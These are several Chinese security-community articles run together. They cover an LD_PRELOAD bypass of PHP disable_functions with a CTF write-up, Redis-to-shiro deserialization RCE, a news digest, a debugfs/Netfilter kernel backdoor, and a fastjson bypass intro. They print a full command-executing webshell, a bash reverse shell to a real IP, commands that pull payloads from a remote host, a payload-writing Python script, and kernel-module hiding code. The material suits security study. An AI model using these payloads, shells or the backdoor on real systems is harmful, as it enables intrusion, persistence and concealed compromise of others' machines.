禁止启用 senmail、甚至系统上根本未安装 sendmail，也就谈不上劫持 `getuid` 了。所以我们暂且放过 `getuid`
函数吧，重新找个更加普适的方法。
我们回到 LDPRELOAD 本身，系统通过它预先加载动态链接库，如果能找到一个方式，在加载时就执行代码，而不用考虑劫持某一系统函数，那我就完全可以不依赖
sendmail 了。这种场景与面向对象的语言中的的构造函数相似。搜索之后发现，GCC 有个 C 语言扩展修饰符
__attribute__((constructor))，可以让由它修饰的函数在 main()
之前执行，若它出现在动态链接库中，那么一旦动态链接库被系统加载，将立即执行 _attribute((constructor))
修饰的函数。这样，我们就不用局限于仅劫持某一函数，而应考虑劫持动态链接库了，也可以说是劫持了一个新进程。
如下，我们可以直接劫持系统命令 ls：
* hook_ls.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
}
编译并测试 `ls` 命令：
gcc -shared -fPIC hook_ls.c -o hook_ls.so
如上图，成功劫持，并且不光劫持了 `ls`，只要启动了进程便会进行劫持。
[yangyangwithgnu](https://github.com/yangyangwithgnu) 师傅根据这个思路创建了
[bypass_disablefunc_via_LD_PRELOAD
](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD)
这个项目，项目中有这几个关键文件：
* bypass_disablefunc.php：一个用来执行命令的 webshell。
* bypass_disablefunc_x64.so 或 bypass_disablefunc_x86.so：用来加载并执行命令的动态链接库文件，分为 64 位的和 32 位的。
* bypass_disablefunc.c：用来编译生成上面的动态链接库文件。
bypass_disablefunc.c的源码如下：
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
bypass_disablefunc.php 的源码如下：
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline); // 通过环境变量 EVIL_CMDLINE 向 bypass_disablefunc_x64.so 传递具体执行的命令行信息
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
// error_log("", 1, "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
对于 bypass_disablefunc.php，权限上传到 Web 目录的直接访问，无权限的话可以传到 tmp 目录后用include
等函数来包含，并且需要用 GET 方法提供三个参数：
* cmd 参数：待执行的系统命令，如 id 命令。
* outpath 参数：保存命令执行输出结果的文件路径（如 /tmp/xx），便于在页面上显示，另外该参数，你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
* sopath 参数：指定劫持系统函数的共享对象的绝对路径（如 /var/www/bypass_disablefunc_x64.so），另外关于该参数，你应注意 web 是否可跨目录访问到它。
可以看到，bypass_disablefunc.php 的源码也使用了 mail() 函数，但是无需安装 sendmail，只需要 PHP 支持
putenv()、mail() 即可。如果 mail() 函数也被禁用了，那我们可以在寻找其他可以启动新进程的函数即可，比如 error_log() 等。
使用时，我们想办法将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 传到目标有权限的目录中：
然后将bypass_disablefunc.php包含进来并使用GET方法提供所需的三个参数：
/?Ginkgo=aW5jbHVkZSgiL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCIpOw==&cmd=id&outpath=/tmp/outfile123&sopath=/var/tmp/bypass_disablefunc_x64.so
# include("/var/tmp/bypass_disablefunc.php");
如下所示，成功执行命令：
## 活学活用
### [0CTF/TCTF]Wallbreaker_Easy
进入题目：
有预留的后门，可以执行 phpinfo，如下图发现通过 disable_functions 禁用了大量函数：
以下函数都被禁用了：
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail
#### 预期解
这里首先来看预期解。我们知道，要想利用 LD_PRELOAD 绕过
disable_functions，其中一个至关重要的条件就是能找到可以启动新进程的函数，就比如我们之前讲的 `mail` 函数，但是题目中吧 `mail`
函数也禁用了。那该如何去绕过呢？
在这里我们发现题目提示：
So I installed php-imagick in the server, opened a `backdoor` for you.
所以我们主要探究 php-imagick 到底能不能干类似的事情。我们阅读 php-imagick
源码：[https://github.com/ImageMagick/ImageMagick，在](https://github.com/ImageMagick/ImageMagick%EF%BC%8C%E5%9C%A8)
ImageMagick-master\PerlMagick\Makefile.nt 中发现以下对应关系：
发现当处理 MPEG 类型的文件时，会调用 ffmpeg 程序，就像之前的 `mail()` 一样，必然会加载动态库函数。属于 MPEG 类型的文件后缀有：
wmv mov m4v m2v mp4 mpg mpeg mkv avi 3g2 3gp
这里我们可以使用 wmv，让 php-imagick 去处理 wmv 后缀的文件并触发新进程去进行劫持。
首先编译动态链接库文件：
* hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}
编译：
gcc -shared -fPIC hack.c -o hack.so
将得到的 hack.so 放在服务器上，再在服务器上创建一个名为 `whoami.wmv` 的文件，然后使用 PHP 的 `copy()`
函数将他们依次复制到目标主机上：
backdoor=copy('http://47.101.57.72/hack.so','/tmp/a5edb30f575fb2f877a19b2f62a2e720/hack.so');copy('http://47.101.57.72/whoami.wmv','/tmp/a5edb30f575fb2f877a19b2f62a2e720/whoami.wmv');
上传成功：
然后我们再执行，触发 Imagick：
backdoor=putenv("LD_PRELOAD=/tmp/a5edb30f575fb2f877a19b2f62a2e720/hack.so");$img = new Imagick('/tmp/a5edb30f575fb2f877a19b2f62a2e720/whoami.wmv');
成功反弹 Shell 并得到 flag：
#### 非预期解
非预期解很简单。由于题目没有没有禁用 `error_log()` 函数，所以我们可以用 `error_log()` 函数代替 `mail()`
函数来触发新进程。直接用 [yangyangwithgnu](https://github.com/yangyangwithgnu) 师傅的
[bypass_disablefunc_via_LD_PRELOAD
](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD)
这个项目好了。
首先对 bypass_disablefunc.php 进行简单的修改，把 `mail("", "", "", "");` 改成 `error_log("",
1, "", "");`：
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline); // 通过环境变量 EVIL_CMDLINE 向 bypass_disablefunc_x64.so 传递具体执行的命令行信息
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
error_log("", 1, "", "");
//mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
然后把 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 依次通过 `copy()`
函数上传到目标主机：
backdoor=copy('http://47.101.57.72/bypass_disablefunc.txt','/tmp/a5edb30f575fb2f877a19b2f62a2e720/bypass_disablefunc.php');copy('http://47.101.57.72/bypass_disablefunc_x64.so','/tmp/a5edb30f575fb2f877a19b2f62a2e720/bypass_disablefunc_x64.so');
然后发送以下请求即可执行命令：
GET: /?cmd=ls /&outpath=/tmp/a5edb30f575fb2f877a19b2f62a2e720/out.txt&sopath=/tmp/a5edb30f575fb2f877a19b2f62a2e720/bypass_disablefunc_x64.so
POST: backdoor=include('/tmp/a5edb30f575fb2f877a19b2f62a2e720/bypass_disablefunc.php');
## Ending……
> 参考：
>
> <https://www.freebuf.com/articles/web/192052.html>
>
> <https://github.com/yangyangwithgnu>
>
> <https://cloud.tencent.com/developer/article/1683272>
>
> <https://blog.csdn.net/qq_38154820/article/details/106330120>
>
> <https://www.exploit-db.com/papers/13233>
>
>
> <https://wooyun.js.org/drops/%E5%88%A9%E7%94%A8%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8FLD_PRELOAD%E6%9D%A5%E7%BB%95%E8%BF%87php%20disable_function%E6%89%A7%E8%A1%8C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4.html> | 社区文章 |
# redis未授权到shiro反序列化
## 0x01 简介
在一次渗透测试的过程中发现6379端口上开着一个未授权的redis，尝试利用redis进行rce失败。又发现redis缓存了shiro的session，最终通过redis未授权配合shiro-redis反序列化实现rce
## 0x02 尝试redis rce
拿到目标站点ip，首先使用nmap，shodan收集端口信息
shodan检测显示6379端口存在redis未授权
redis-cli登陆一下，收集信息，发现是3.2.100版本，操作系统是windows
考虑一下目前爆出的redis漏洞，一般都需要linux系统环境，4.X及以上的redis版本，这台redis打不了。
也尝试了redis写webshell，redis写sshkey，均利用不成功。
这个时候注意到了redis里面存储了shiro的session:
将value读取出来，发现里面数据开头是\xac\xed，经典的java序列化数据开头。
同时想到shiro存在反序列化漏洞，虽然这个目标打不了shiro-550这样的反序列化，但是是否可以通过修改redis中存储的shiro
session来进行反序列化攻击？
## 0x03 shiro-redis反序列化
先了解下shiro为何在redis中存储session。session一般存储于服务端，用来保存用户的认证信息。shiro默认将session存储在内存里面。这样导致shiro的session是不共享的。使用redis来存储shiro
session可以让其他服务也共享shiro的认证信息。
github上可以找到shiro-redis的实现是这个项目，有1.1k个star：<https://github.com/alexxiyang/shiro-redis>
查看文档知道作者要求导入如下依赖：
<dependency>
<groupId>org.crazycake</groupId>
<artifactId>shiro-redis</artifactId>
<version>3.3.1</version>
</dependency>
这里使用他的一个已经配置好的项目：<https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial>
首先本地启动一个3.2.100版本的redis镜像，然后下载这个项目，在IDEA中运行。
使用默认的用户名和密码登陆。登陆成功后界面上显示自己的session。
查看本地测试环境中的redis，发现已经添加了shiro session。
下面尝试将反序列化poc写入redis，然后模拟用户访问shiro，导致shiro读取出redis中存储的反序列化数据，触发反序列化漏洞。
由于redis-cli或redis图形化客户端将hex形式的poc存入redis会出现字符转义不正确或者其他问题，我使用python编写脚本将poc写入redis。脚本内容如下：
import pyyso
import socket
s=socket.socket()
s.connect(("127.0.0.1",6379))
whatever=b"123"
key=b"shiro:session:"+whatever
value=pyyso.cb1v192("open /")
s.send(b"\x2a\x33\x0d\x0a\x24\x33\x0d\x0aSET\r\n\x24"+str(len(key)).encode()+b"\r\n"+key+b"\r\n\x24"+str(len(value)).encode()+b"\r\n"+value+b"\r\n")
if b"+OK" in s.recv(3):
print("success")
反序列化的链选取改造过的commons-beanutils利用链来满足shiro环境中的依赖。这里用了一个自己编写的包pyyso：<https://github.com/cokeBeer/pyyso>
pyyso可以直接生成反序列化的数据，简化脚本编写。
然后使用socket发送set指令来写入poc。这里redis的set指令格式如下
\x2a\x33 固定值
\x0d\x0a 换行
\x24\x33 固定值
\x0d\x0a 换行
SET
\x0d\x0a 换行
\x24\x??\x?? 十进制的key长度，例如3就是\x33，12就是\x31\x32
\x0d\x0a 换行
\x??\x?? key
\x0d\x0a 换行
\x24\x??\x?? 十进制的value长度
\x0d\x0a 换行
\x??\x?? value
\x0d\x0a 换行
运行脚本，将一个名为`shiro:session:123`的key写入了redis中，内容即嵌入了指令的cb链
然后回到浏览器端，将JESSIONID改为123
发送请求，反序列化触发，弹出了根目录
由此实现了shiro-redis的反序列化rce
## 0x04 调试分析
这里调试一下漏洞触发过程。首先定位到导入的依赖包`org.crazycake.shiro-redis`，触发点在`org.crazycake.shiro.RedisSessionDAO#doReadSession`，当shiro需要从redis读取session时就会调用这个方法
protected Session doReadSession(Serializable sessionId) {
...
Session session = null;
try {
String sessionRedisKey = getRedisSessionKey(sessionId);
logger.debug("read session: " + sessionRedisKey + " from Redis");
session = (Session) valueSerializer.deserialize(redisManager.get(keySerializer.serialize(sessionRedisKey))); //触发点
if (this.sessionInMemoryEnabled) {
setSessionToThreadLocal(sessionId, session);
}
} catch (SerializationException e) {
logger.error("read session error. sessionId: " + sessionId);
}
return session;
}
可以看到里面使用`redisManager.get`获取redis中存储的序列化数据，然后交给`valueSerializer.deserialize`进行反序列化。这里跟进去，定位到`org.crazycake.shiro.serializer.ObjectSerializer#deserialize`:
public Object deserialize(byte[] bytes) throws SerializationException {
Object result = null;
if (bytes == null || bytes.length == 0) {
return result;
}
try {
ByteArrayInputStream byteStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new MultiClassLoaderObjectInputStream(byteStream);
result = objectInputStream.readObject();
} catch (IOException e) {
throw new SerializationException("deserialize error", e);
} catch (ClassNotFoundException e) {
throw new SerializationException("deserialize error", e);
}
return result;
}
内部将redis读取出的字节数组转换为对象流，然后readObject方法触发反序列化
## 0x05 总结
如果实际渗透测试时遇到redis未授权漏洞，同时配置了shiro-redis，那么可以考虑通过向redis写入shiro session来打反序列化。PS:
下面是我们团队的公众号，以后会持续更新安全技术类文章，欢迎师傅们关注。 | 社区文章 |
# 12月29日安全热点 - 新的WordPress后门插件/趋势科技与GPL
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
又有三个WordPress插件被发现存在后门
<https://www.bleepingcomputer.com/news/security/three-more-wordpress-plugins-found-hiding-a-backdoor/>
奥巴马网络安全专员告诉你如何保护网上购物安全
<https://www.digitaltrends.com/computing/dr-eric-cole-on-cybersecurity/?_lrsc=74f0f6f9-de93-4b6b-92b8-89dd540ecfb0>
趋势科技发布的勒索软件解密器未遵守GPL协议
<https://www.bleepingcomputer.com/forums/t/666586/trend-micro-distributing-a-gpl-violating-teslacrypt-decryptor/>
Opera浏览器开始启用内部保护程序对抗挖矿脚本
<https://cryptovest.com/news/crypto-mining-scripts-latest-opera-version-includes-built-in-protection/>
Tastylock Cryptomix勒索软件变种出现
<https://www.bleepingcomputer.com/news/security/tastylock-cryptomix-ransomware-variant-released/>
## 技术类
iOS内核漏洞利用探耽求究
<https://media.ccc.de/v/34c3-8720-ios_kernel_exploitation_archaeology>
iPhone X Home“键”的内在分析
<http://blog.zats.io/2017/12/27/iPhone-X-home-button/>
2^5位指令集TCP Bind Shell
<https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/>
SaaS中的SSL初探
<https://blog.cloudflare.com/introducing-ssl-for-saas/>
走向Web开发巅峰之路的经验教训
<https://medium.freecodecamp.org/how-to-be-an-uncommonly-good-web-developer-7f745978351f>
Cisco iOS 1day利用
<https://media.ccc.de/v/34c3-8936-1-day_exploit_development_for_cisco_ios>
Wifi Direct Protocol攻击实现
<https://www.blackhat.com/docs/eu-17/materials/eu-17-Blanco-WI-FI-Direct-To-Hell-Attacking-WI-FI-Direct-Protocol-Implementations-wp.pdf>
关于C2的设计与思考
<http://www.invokethreat.actor/2017/12/thoughts-on-c2-designs-and-tradecraft.html>
Steam漏洞利用PoC
<https://gitlab.com/kyeho/Write-ups/raw/master/Steam%20Link> | 社区文章 |
# 如何使用 debugfs 和 nf 钩子来远程执行代码
|
##### 译文声明
本文是翻译文章，文章来源：https://nbulischeck.io/
原文地址：<https://nbulischeck.io/posts/misusing-debugfs-for-in-memory-rce>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
[Debugfs是一种简单易用的基于RAM的文件系统，专门为内核调试目的而设计。](https://www.kernel.org/doc/Documentation/filesystems/debugfs.txt)。它与2.6.10-rc3版本一起发布，由GregKroah-Hartman编写。本文将展示如何使用调试器和Netfilter钩子来创建一个可加载的内核模块，该模块能够完全在RAM中远程执行代码。
攻击者的理想过程是首先获得对目标的非特权访问，执行本地权限提升以获得根访问权限，将内核模块作为持久性方法插入到计算机上，然后转向下一个目标。
>
> 注：以下是Ubuntu12.04(3.13.0-32)，Ubuntu14.04(4.4.0-31)，Ubuntu16.04(4.13.0-36)image的测试和工作。所有的开发都是在Arch上完成的，只使用了几个最新的内核版本(4.16+)。
## debugfs RCE的实用性
当我深入研究使用调试器有多实用时，我需要了解它在各种系统中的流行程度。
对于6.06到18.04的每个Ubuntu版本以及CentOS版本6和7，我创建了一个VM并检查了下面的三个语句（statement）。此图表详细说明了每个发行版的每个问题的答案。我要找的主要是看看是否有可能在第一时间安装该设备。如果这是不可能的，那么我们将无法在后门中使用调试器。
幸运的是，除了Ubuntu6.06之外，每个发行版都能够挂载调试器。从10.04开始的每个Ubuntu版本以及CentOS 7都默认安装了它。
1. Present：/sys/kernel/debug/是否在第一次加载时出现？
2. Mounted：/sys/kernel/debug/是否在第一次加载时挂载？
3. Possible：是否可以使用sudo mount -t debugfs none /sys/kernel/debug来挂载调试器？
Operating System | Present | Mounted | Possible
---|---|---|---
Ubuntu 6.06 | No | No | No
Ubuntu 8.04 | Yes | No | Yes
Ubuntu 10.04* | Yes | Yes | Yes
Ubuntu 12.04 | Yes | Yes | Yes
Ubuntu 14.04** | Yes | Yes | Yes
Ubuntu 16.04 | Yes | Yes | Yes
Ubuntu 18.04 | Yes | Yes | Yes
Centos 6.9 | Yes | No | Yes
Centos 7 | Yes | Yes | Yes
> * 调试程序也以rw的形式安装在服务器版本上，相对于/var/lib/ureadahead/debugfs
> * 此外，tracefs也以rw形式安装在服务器、相对于/var/lib/ureadahead/debugfs/tracing。
>
## debugfs的执行代码
一旦我确定调试器很流行，我就编写了一个[简单的PoC](https://gist.github.com/nbulischeck/37a86f4db9157372c016abf2235b424d)，看看是否可以从它执行文件。毕竟，它是一个文件系统。
调试器API实际上非常简单。使用的主要功能是： **debugfs_initialized** -检查是否注册了调试器，
**debugfs_create_blob** -为任意大小的二进制对象创建文件，以及调试器 **debugfs_remove** -删除调试器文件。
在PoC中，我没有使用 **debugfs_initialized** ，因为我知道它是存在的，但这是一个很好的完整性检查（sanity-check）。
为了创建该文件，我使用了 **debugfs_create_blob** 而不是 **debugfs_create_file**
，因为我的最初目标是执行ELF二进制文件。不幸的是，我没能让它发挥作用-以后再谈。创建文件所需做的就是将blob指针分配给保存内容的缓冲区，并给它一个长度。将其看作是编写自己的文件操作的抽象更容易理解，就像在设计字符设备时所做的那样。
下面的代码应该是非常容易理解的。 **dfs** 保存文件条目， **myblob**
保存文件内容(指向保存程序和缓冲区长度的缓冲区的指针)。我只需在安装之后调用 **debugfs_create_blob**
函数，其中包含文件的名称、文件的模式(权限)、 **NULL** 父文件以及数据。
struct dentry *dfs = NULL;
struct debugfs_blob_wrapper *myblob = NULL;
int create_file(void){
unsigned char *buffer = "
#!/usr/bin/env pythonn
with open("/tmp/i_am_groot", "w+") as f:n
f.write("Hello, world!")";
myblob = kmalloc(sizeof *myblob, GFP_KERNEL);
if (!myblob){
return -ENOMEM;
}
myblob->data = (void *) buffer;
myblob->size = (unsigned long) strlen(buffer);
dfs = debugfs_create_blob("debug_exec", 0777, NULL, myblob);
if (!dfs){
kfree(myblob);
return -EINVAL;
}
return 0;
}
删除调试器中的文件就像删除文件一样简单。只需调用 **ebugfs_remove**
，文件就会消失。在它周围包装一个错误检查，只是为了确定，还有它只需3行代码。
void destroy_file(void){
if (dfs){
debugfs_remove(dfs);
}
}
最后，我们实际执行我们创建的文件。据我所知，从内核空间到用户空间执行文件的唯一方法是通过名为call_usermodehelper的函数执行。TimJones写了一篇关于UMH使用的优秀文章，叫做[从内核调用用户空间应用程序](https://www.ibm.com/developerworks/library/l-user-space-apps/index.html)，所以如果你想了解更多，我强烈建议你阅读这篇文章。
为了使用 **call_usermodehelper** ，我们设置了 **argv** 和 **envp**
数组，然后调用函数。最后一个标志决定了内核在执行该函数后应该如何继续(“我应该等待还是应该继续？”)。对于不熟悉的对象， **envp**
数组保存进程的环境变量。我们在上面创建并希望执行的文件是 **/sys/kernel/debug/debug_exec**
。我们可以使用下面的代码完成这个操作。
void execute_file(void){
static char *envp[] = {
"SHELL=/bin/bash",
"PATH=/usr/local/sbin:/usr/local/bin:"
"/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
char *argv[] = {
"/sys/kernel/debug/debug_exec",
NULL
};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
我现在建议读者自己尝试[PoC代码](https://gist.github.com/nbulischeck/37a86f4db9157372c016abf2235b424d)，以便更好地了解在实际执行我们的程序方面所做的工作。要检查它是否工作，运行
**ls/tmp/** 并查看文件 **i_am_groot** 是否存在。
## Netfilter
现在我们知道了程序是如何在内存中执行的，但是如何发送代码并让内核远程运行呢？答案是使用Netfilter！Netfilter是Linux内核中的一个框架，它允许内核模块在内核的网络堆栈中注册名为钩子的回调函数。
如果这一切听起来太复杂了，那就把Netfilter钩子想象成一个俱乐部的保镖吧。保镖只允许戴绿徽章的俱乐部成员通过(接受)，但踢出任何戴红色徽章的人(拒绝/拒绝)。他也可以选择改变任何人的徽章颜色。假设有人戴着红色徽章，但保镖还是想让他们进来。保镖可以在门口拦截这个人，把他们的警徽改成绿色。这就是所谓的包“破坏（mangling）”。
对于我们的情况，我们不需要弄乱任何数据包，但是对于读者来说，这可能是有用的。有了这个概念，我们就可以检查通过的任何数据包，看看它们是否符合我们的标准。我们将限定的数据包称为“触发器数据包（trigger
packets）”，因为它们会触发代码中的某些操作。
Netfilter钩子很棒，因为您不需要公开主机上的任何端口来获取信息。如果您想更深入地了解Netfilter，您可以阅读本文或[Netfilter文档](https://www.netfilter.org/documentation/HOWTO/netfilter-hacking-HOWTO-3.html)。
[](https://p4.ssl.qhimg.com/t01d0fc346fca37092b.png)
当我使用Netfilter时，我会在最早的阶段:pre-routing拦截数据包。
## ESP包
我选择使用的包称为ESP。[ESP或封装SecurityPayload数据包](https://tools.ietf.org/html/rfc4303)旨在为IPv
4和IPv
6提供多种安全服务。它是IPSec相当标准的一部分，它传输的数据应该是加密的。这意味着可以将脚本的加密版本放在客户端上，然后将其发送到服务器进行解密和运行。
## Netfilter代码
Netfilter钩子非常容易实现。钩子的原型如下：
unsigned int function_name (
unsigned int hooknum,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *)
);
所有这些参数都不是非常重要，所以让我们继续讨论需要的参数： **struct sk_buff *skb** 。 **sk_bus**
有点复杂，所以如果您想阅读更多关于它们的信息，您可以在[这里](https://wiki.linuxfoundation.org/networking/sk_buff)找到更多信息。
要获取数据包的IP报头，请使用函数 **skb_network_header** 并将其类型转换为struct iphdr *。
struct iphdr *ip_header;
ip_header = (struct iphdr *)skb_network_header(skb);
if (!ip_header){
return NF_ACCEPT;
}
接下来，我们需要检查我们收到的数据包的协议是否是ESP数据包。这可以非常容易地做到，现在我们有了header。
if (ip_header->protocol == IPPROTO_ESP){
// Packet is an ESP packet
}
ESP数据包在其头中包含两个重要值。这两个值是SPI和SEQ。SPI表示安全参数索引，SEQ表示序列。两者在技术上最初都是任意的，但预计每个数据包的序列号都会增加。我们可以使用这些值来定义哪些数据包是我们的触发器数据包。如果一个包匹配正确的SPI和SEQ值，我们将执行我们的操作。
if ((esp_header->spi == TARGET_SPI) &&
(esp_header->seq_no == TARGET_SEQ)){
// Trigger packet arrived
}
一旦确定了目标数据包，就可以使用struct的成员 **enc_data**
提取ESP数据。理想情况下，这将被加密，从而确保您在目标计算机上运行的代码的隐私，但为了在PoC中简单起见，我将其省略了。
棘手的部分是Netfilter钩子运行在一个软性的上下文中，这使得它们运行得非常快，但是有点微妙。处于软性上下文中，Netfilter可以同时处理跨多个CPU的传入数据包。他们不能进入睡眠状态，延迟的工作在中断上下文中运行(这对我们非常不利，它需要使用延迟的工作队列，[如state.c中所示](https://github.com/nbulischeck/debugfs-backdoor/blob/master/backdoor/state.c))。
本节的完整代码可以在[这里](https://github.com/nbulischeck/debugfs-backdoor/blob/master/backdoor/nfhook.c)找到。
## 限制
1. debugfs必须出现在目标的内核版本中(>=2.6.10-rc3)。
2. 必须挂载debugfs(如果不是的话，这是很容易修复的)。
3. rculist.h必须存在于内核中(>=Linux2.6.27.62)。
4. 只能运行解释脚本。
任何包含解释器指令(python、ruby、perl等)的命令都可以在调用 **call_usermodehelper**
时协同工作。有关解释器指令的更多信息，请参阅[维基百科的这篇文章](https://en.wikipedia.org/wiki/Shebang_\(Unix))。
void execute_file(void){
static char *envp[] = {
"SHELL=/bin/bash",
"HOME=/root/",
"USER=root",
"PATH=/usr/local/sbin:/usr/local/bin:"
"/usr/sbin:/usr/bin:/sbin:/bin",
"DISPLAY=:0",
"PWD=/",
NULL
};
char *argv[] = {
"/sys/kernel/debug/debug_exec",
NULL
};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}
Go也可以工作，但可以说它并不完全在RAM中，因为它必须生成一个临时文件才能构建它，而且它还需要.go文件扩展名，从而使这一点更加明显。
void execute_file(void){
static char *envp[] = {
"SHELL=/bin/bash",
"HOME=/root/",
"USER=root",
"PATH=/usr/local/sbin:/usr/local/bin:"
"/usr/sbin:/usr/bin:/sbin:/bin",
"DISPLAY=:0",
"PWD=/",
NULL
};
char *argv[] = {
"/usr/bin/go",
"run",
"/sys/kernel/debug/debug_exec.go",
NULL
};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}
## 发现
如果我要添加隐藏内核模块的能力(可以通过下面的代码简单地完成)，将非常困难。通过这种技术执行的长时间运行的进程是显而易见的，因为会有一个进程的PID数很高，由root用户拥有，并且运行
**< interpreter>
/sys/kernel/debug/debug_exec**。但是，如果没有活动的执行，我就会认为唯一的发现方法是分析自定义Netfilter钩子的辅助内核模块。
struct list_head *module;
int module_visible = 1;
void module_unhide(void){
if (!module_visible){
list_add(&(&__this_module)->list, module);
module_visible++;
}
}
void module_hide(void){
if (module_visible){
module = (&__this_module)->list.prev;
list_del(&(&__this_module)->list);
module_visible--;
}
}
## 替代方法
最简单的替代方法是将调试器重新装入为noexec，以便禁止在其上执行文件。据我所知，没有理由以默认方式安装它。然而，这是可以忽略的。在重新安装noexec后不再工作的示例可以在下面的屏幕截图中。
对于一般的内核模块，默认情况下应该要求模块签名。模块签名涉及到在安装过程中对内核模块进行加密签名，然后在将其加载到内核时检查签名。“[这可以通过禁止加载使用无效密钥签名的无符号模块或模块来提高内核安全性。模块签名增加了将恶意模块加载到内核中的难度，从而提高了安全性。](https://www.kernel.org/doc/html/v4.16/admin-guide/module-signing.html)”
[](https://p1.ssl.qhimg.com/t01243825e0f7c87214.png)
# Mounted without noexec (default)
cat /etc/mtab | grep "debugfs"
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko
sudo rm /tmp/i_am_groot
sudo umount /sys/kernel/debug
# Mounted with noexec
sudo mount -t debugfs none -o rw,noexec /sys/kernel/debug
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko
## 进一步研究
一个明显的扩展领域是找到一种更标准的加载程序的方法，以及一种加载ELF文件的方法。另外，开发一个内核模块，它可以清楚地识别从内核模块加载的自定义Netfilter钩子，这将有助于击败几乎所有使用Netfilter钩子的LKM
rootkit。 | 社区文章 |
**作者: Y4tacker
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
很早之前在发[第一篇](https://paper.seebug.org/2055/
"第一篇")的时候@jsjcw师傅就曾提到1.2.49后也能利用引用绕过，后面由@1ue师傅在知识星球中利用这个思路成功绕过并分享了payload，至此fastjson全版本就彻底加入原生反序列化的gadget，向师傅们致敬，想着将文章完善的缘故，并且师傅们没有提到具体的原理，因此发个第二篇进行简单介绍。
当然这里不会详细说明完整的序列化与反序列化的过程，如果有感兴趣的可以参考panda师傅的博客，关于[序列化流程分析总结](https://www.cnpanda.net/sec/893.html)与[反序列化流程分析总结](https://www.cnpanda.net/sec/928.html)，里面已经写的很细致了。
## 回顾
之前提到了从1.2.49开始，我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法，
在其`SecureObjectInputStream`类当中重写了`resolveClass`,通过调用了`checkAutoType`方法做类的检查，这样真的是安全的么？
## resolveClass的调用
乍一看，这样的写法很安全，当调用JSONArray/JSONObject的Object方法触发反序列化时，将这个反序列化过程委托给`SecureObjectInputStream`处理时，触发resolveClass实现对恶意类的拦截
这时候反序列化的调用过程是这样的，就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过
### 不安全的反序列化过程
ObjectInputStream -> readObject
xxxxxx(省略中间过程)
SecureObjectInputStream -> readObject -> resolveClass
### 安全的反序列化过程
多提一嘴，平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream)，由它来做反序列化的入口，这样才是安全的，因此压力再次给到了开发身上
TestInputStream -> readObject -> resolveClass
